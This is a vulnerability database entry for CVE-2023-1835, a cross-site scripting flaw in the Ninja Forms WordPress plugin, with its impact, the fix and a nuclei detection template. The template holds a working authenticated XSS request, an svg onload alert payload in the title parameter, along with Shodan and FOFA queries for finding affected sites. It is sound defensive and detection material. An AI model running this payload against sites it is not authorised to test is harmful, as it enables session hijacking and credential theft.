HexBrain

Browse / CVEs / CVE-2023-1835

CVE-2023-1835· ninjaforms / ninja forms· CWE-79

Ninja Forms < 3.6.22 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<svg/onload=alert(document.domain)>") and contains(body_2, "Ninja Forms")

Run it with nuclei: nuclei -id CVE-2023-1835 -u <target>

The full check
id: CVE-2023-1835

info:
  name: Ninja Forms < 3.6.22 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b5fc223c-5ec0-44b2-b2f6-b35f9942d341
    - https://wordpress.org/plugins/ninja-forms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1835
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1835
    cwe-id: CWE-79
    epss-score: 0.00925
    epss-percentile: 0.60747
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2023,cve,wpscan,ninja,forms,wp,wp-plugin,wordpress,authenticated,xss,ninjaforms,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E  HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "Ninja Forms")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from